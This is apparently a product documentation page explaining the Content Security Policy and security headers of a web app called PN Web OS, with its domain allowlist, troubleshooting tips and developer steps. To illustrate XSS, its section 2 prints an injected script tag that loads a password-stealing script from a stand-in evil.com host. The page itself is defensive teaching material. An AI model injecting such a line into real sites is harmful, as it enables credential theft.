Browser Security & CSP Headers
Understanding Content Security Policy headers and browser-level protections in PN Web OS
Quick Navigation
1. Overview & Purpose
PN Web OS implements HTTP Security Headers to protect your browser environment from common web attacks. These headers are sent by our server (Vercel) and enforced by your browser, providing an additional layer of security beyond our client-side encryption.
Key Insight
Even though PN Web OS is client-side-first (your data never leaves your browser unencrypted), browser security headers protect you from malicious code that might try to exploit your browser while you're using the app. Think of it as a firewall for your browser session.
Why This Matters for Client-Side Architecture
You might wonder: "If PN Web OS runs entirely in my browser, why do we need server-sent security headers?"
Protection Against XSS
CSP headers prevent injected malicious scripts from running in your browser, even if a vulnerability exists in our code or dependencies. This protects your master key, passwords, and files.
Clickjacking Prevention
Prevents attackers from embedding our login page in an invisible iframe on malicious websites, where they could trick you into entering your password.
Data Exfiltration Limits
Even if malicious code somehow runs, CSP restricts where it can send data. Only whitelisted external APIs (blockchain explorers, Web3 services, etc.) are allowed.
2. What is Content Security Policy (CSP)?
Content Security Policy is a browser security feature that allows web applications to declare which resources (scripts, styles, images, network connections) are allowed to load and execute.
How CSP Works
Server Sends Header
When you visit pn.com, Vercel sends an HTTP header: Content-Security-Policy: ...
Browser Enforces Policy
Your browser (Chrome, Firefox, Safari, etc.) reads this header and enforces the rules for the entire session.
Violations Are Blocked
If any code tries to violate the policy (e.g., load a script from an unapproved domain), the browser blocks it and logs a violation to the console.
Example: Preventing XSS
Without CSP
An attacker finds a way to inject this malicious code into our app:
<script src="https://evil.com/steal-passwords.js"></script>
❌ Without CSP, this script loads and runs, potentially stealing your data.
With CSP
Our CSP policy only allows scripts from trusted domains:
script-src 'self' https://cdn.jsdelivr.net https://js.stripe.com
✅ Browser blocks the script from evil.com and logs: Refused to load script from 'https://evil.com' because it violates CSP
3. Our CSP Implementation
PN Web OS uses a conservative CSP policy that balances security with functionality. Here's what we allow and why.
CSP Directives Explained
default-src 'self'STRICTDefault policy: Only allow resources from our own domain (pn.com) unless explicitly overridden below.
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.jsdelivr.net https://js.stripe.comPERMISSIVEJavaScript execution:
- •
'self'- Our own scripts - •
'unsafe-inline'- Required for Next.js theme switching (prevents flash of unstyled content) - •
'unsafe-eval'- Required for WebAssembly (WABT compiler in IDE) - •
cdn.jsdelivr.net- JavaScript CDN for libraries - •
js.stripe.com- Stripe payment processing
style-src 'self' 'unsafe-inline' https://fonts.googleapis.comPERMISSIVECSS styles: Allow inline styles (required for Tailwind CSS) and Google Fonts
img-src 'self' data: blob: https:MODERATEImages: Allow images from all HTTPS sources (needed for NFT images, avatars, blockchain data)
connect-src 'self' [40+ whitelisted domains]STRICTNetwork connections (fetch, XHR, WebSocket): Only allow connections to explicitly whitelisted external APIs
View whitelisted categories
- • Web3 APIs (CoinGecko, Moralis, Alchemy, 1inch)
- • RPC endpoints (Ethereum, Polygon, BSC, Arbitrum, Base)
- • Block explorers (Etherscan, Polygonscan, BSCScan, etc.)
- • IPFS gateways (Pinata, Cloudflare, Infura, Web3.Storage)
- • ENS metadata, Stripe API, PeerJS (WebRTC)
- • See full list →
frame-ancestors 'none'CRITICALClickjacking protection: Prevent PN Web OS from being embedded in iframes on other websites
Additional Security Headers
| Header | Value | Purpose |
|---|---|---|
Strict-Transport-Security | max-age=63072000 | Force HTTPS for 2 years (HSTS) |
X-Content-Type-Options | nosniff | Prevent MIME type sniffing |
X-Frame-Options | DENY | Clickjacking protection (backup) |
X-XSS-Protection | 1; mode=block | Legacy XSS filter (older browsers) |
Referrer-Policy | strict-origin-when-cross-origin | Privacy: limit referrer information |
Permissions-Policy | camera=(self), microphone=(self)... | Control browser feature access |
4. What We Protect Against
Attacks We Mitigate ✅
Cross-Site Scripting (XSS)
Attack: Attacker injects malicious JavaScript into our app (via vulnerability or compromised dependency)
Protection: Even if injection succeeds, CSP prevents the script from loading external attack servers or exfiltrating data to non-whitelisted domains
Clickjacking
Attack: Malicious website embeds our login page in an invisible iframe, tricking you into entering your password while you think you're clicking something else
Protection: frame-ancestors 'none' and X-Frame-Options: DENY prevent PN Web OS from being embedded in any iframe
Data Exfiltration via Compromised Dependencies
Attack: A malicious npm package in our dependency chain tries to send your data to attacker-controlled servers
Protection: CSP connect-src whitelist blocks network requests to non-approved domains
Man-in-the-Middle (MITM) Downgrade Attacks
Attack: Attacker on your network tries to downgrade your connection from HTTPS to HTTP to intercept traffic
Protection: Strict-Transport-Security (HSTS) forces your browser to always use HTTPS for 2 years, even if you type "http://pn.com"
MIME Type Confusion Attacks
Attack: Attacker tricks browser into interpreting a non-executable file (like an image) as JavaScript
Protection: X-Content-Type-Options: nosniff forces browser to respect declared content types
Limitations ⚠️
CSP headers protect against browser-level attacks, but they don't protect against:
5. External Domain Whitelist
PN Web OS connects to 40+ external APIs for Web3, blockchain, and P2P functionality. Every domain is explicitly whitelisted in our CSP policy.
Why This List Matters
If malicious code tries to send your data to a non-whitelisted domain (e.g., evil.com), the browser will block the request. This is a critical defense-in-depth measure.
Web3 & Blockchain APIs
api.coingecko.com(crypto prices)deep-index.moralis.io(NFT metadata)*.alchemy.com(blockchain data)mempool.space(Bitcoin API)blockchain.info(Bitcoin data)yields.llama.fi(DeFi yields)api.1inch.dev(DEX aggregator)RPC Endpoints (Blockchain Nodes)
eth.llamarpc.com(Ethereum)rpc.ankr.com(Multi-chain)polygon-rpc.com(Polygon)bsc-dataseed.binance.org(BSC)mainnet.base.org(Base)arb1.arbitrum.io(Arbitrum)+ 6 testnet RPC endpoints (Sepolia, Mumbai, Goerli, etc.)
Block Explorers
etherscan.iopolygonscan.combscscan.comarbiscan.iobasescan.org+ 6 testnet explorers
IPFS Gateways
ipfs.iocloudflare-ipfs.comgateway.pinata.cloudipfs.infura.iow3s.linknftstorage.link+ Pinata & Web3.Storage APIs
Other Services
metadata.ens.domains(ENS avatar/metadata)api.qrserver.com(QR code generation for TOTP)api.stripe.com(payment processing)wss://peerjs.com(WebRTC P2P signaling)cdn.jsdelivr.net(JavaScript CDN)fonts.gstatic.com(Google Fonts)opensea.io(NFT marketplace)testnets.opensea.io(NFT marketplace testnet)For Developers
If you need to add a new external API, you must update the CSP whitelist in next.config.js. See Section 7: For Developers for instructions.
6. Troubleshooting CSP Violations
For Technical Support: This section helps diagnose CSP-related issues that users might encounter.
How to Check for CSP Violations
Step 1: Open Browser DevTools Console
- • Chrome/Edge: Press
F12orCtrl+Shift+J(Windows) /Cmd+Option+J(Mac) - • Firefox: Press
F12orCtrl+Shift+K - • Safari: Enable Developer menu (Preferences → Advanced → "Show Develop menu"), then press
Cmd+Option+C
Common CSP Violation Messages
"Refused to connect to ... because it violates CSP"
Refused to connect to 'https://example-api.com/data' because it violates the following Content Security Policy directive: "connect-src 'self' ..."
Cause: App tried to connect to an external API not in the whitelist
Impact: Feature relying on that API will not work
Solution: If this is a legitimate API needed for PN Web OS, contact developers to add it to the whitelist
"Refused to load the script ... because it violates CSP"
Refused to load the script 'https://untrusted-cdn.com/script.js' because it violates the following Content Security Policy directive: "script-src 'self' ..."
Cause: App tried to load JavaScript from non-whitelisted source
Impact: Script does not run; potential XSS attack prevented
Solution: This is usually malicious or erroneous code. If legitimate, developer must add source to whitelist
"Refused to display ... in a frame because it violates CSP"
Refused to display 'https://pn.com/webos' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'none'"
Cause: Someone tried to embed PN Web OS in an iframe (clickjacking attempt)
Impact: PN Web OS cannot be loaded in iframe (this is intentional and good)
Solution: No action needed - this is working as intended for security
User-Reported Issues: Troubleshooting Guide
Issue: "Feature X is not working"
- 1. Ask user to open DevTools console (instructions above)
- 2. Ask user to reproduce the issue while console is open
- 3. Look for CSP violation errors (red text containing "violates CSP" or "Refused to...")
- 4. If CSP violation found:
- • Note the blocked domain/resource
- • Check if it's a legitimate service for PN Web OS
- • If legitimate: Escalate to developers to update CSP whitelist
- • If unknown: Potential security issue - report to security team
- 5. If no CSP violation: Issue is unrelated to CSP
7. For Developers: Adding External APIs
If you need to integrate a new external API or service into PN Web OS, you must update the CSP whitelist.
Step-by-Step: Updating CSP Whitelist
Open next.config.js
File location: /next.config.js
Find the headers() function
Look for the async headers() function around line 24
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Content-Security-Policy',
value: [...] // CSP directives here
}
]
}
]
}Identify the correct directive
Choose the appropriate CSP directive based on what you're adding:
- •
script-src- External JavaScript files - •
connect-src- API endpoints (fetch/XHR/WebSocket) - •
img-src- Image sources - •
frame-src- Embedded iframes - •
font-src- Font files - •
style-src- External stylesheets
Add your domain to the whitelist
Most commonly, you'll be adding to connect-src for APIs:
"connect-src 'self' " + // Web3 APIs "https://api.coingecko.com " + "https://deep-index.moralis.io " + // ... existing domains ... "https://your-new-api.com " + // ← Add your domain here // ... more domains ...
Add a comment documenting the addition
"https://your-new-api.com " + // YourService API (added 2025-11-XX for Feature Y)
Test locally
npm run dev
Open DevTools console and verify no CSP violations when using the new API
Build and deploy
npm run build git commit -m "Add [service] to CSP whitelist for [feature]" git push
Important Security Note
Only whitelist domains you trust. Every whitelisted domain is a potential data exfiltration target if compromised. Verify the domain is using HTTPS and is a reputable service.
8. Technical Implementation Details
For security researchers and advanced developers who want to understand the complete implementation.
Implementation File
next.config.js:24-181CSP headers are configured in Next.js headers() function and sent by Vercel edge runtime
• Backup: /backup/20251106_060354_csp_implementation/next.config.js.backup
• Implementation Plan: /backup/20251106_060354_csp_implementation/CSP_IMPLEMENTATION_PLAN.md
• Date Implemented: November 6, 2025
Complete CSP Policy
Related Security Infrastructure
Client-side CSP enforcement module (374 lines) - Provides additional CSP enforcement for iframe and worker contexts. Complements HTTP headers with meta tag-based policies.
Authentication service - 100% client-side authentication that CSP headers protect from credential theft via XSS
Future Enhancements (Not Yet Implemented)
Phase 2: Nonce-Based CSP
Replace 'unsafe-inline' with per-request nonces generated in Next.js middleware. This would eliminate the need for 'unsafe-inline' while maintaining functionality.Effort: Medium. Security Benefit: High (eliminates inline script attack vector).
Phase 3: CSP Report-Only Mode
Before tightening CSP policies, deploy with Content-Security-Policy-Report-Only header to monitor violations without blocking resources. Effort: Low. Benefit: Risk-free testing.
Phase 4: Subresource Integrity (SRI)
Add SRI hashes to external scripts (cdn.jsdelivr.net) to verify they haven't been tampered with.Effort: Low. Benefit: Protection against compromised CDNs.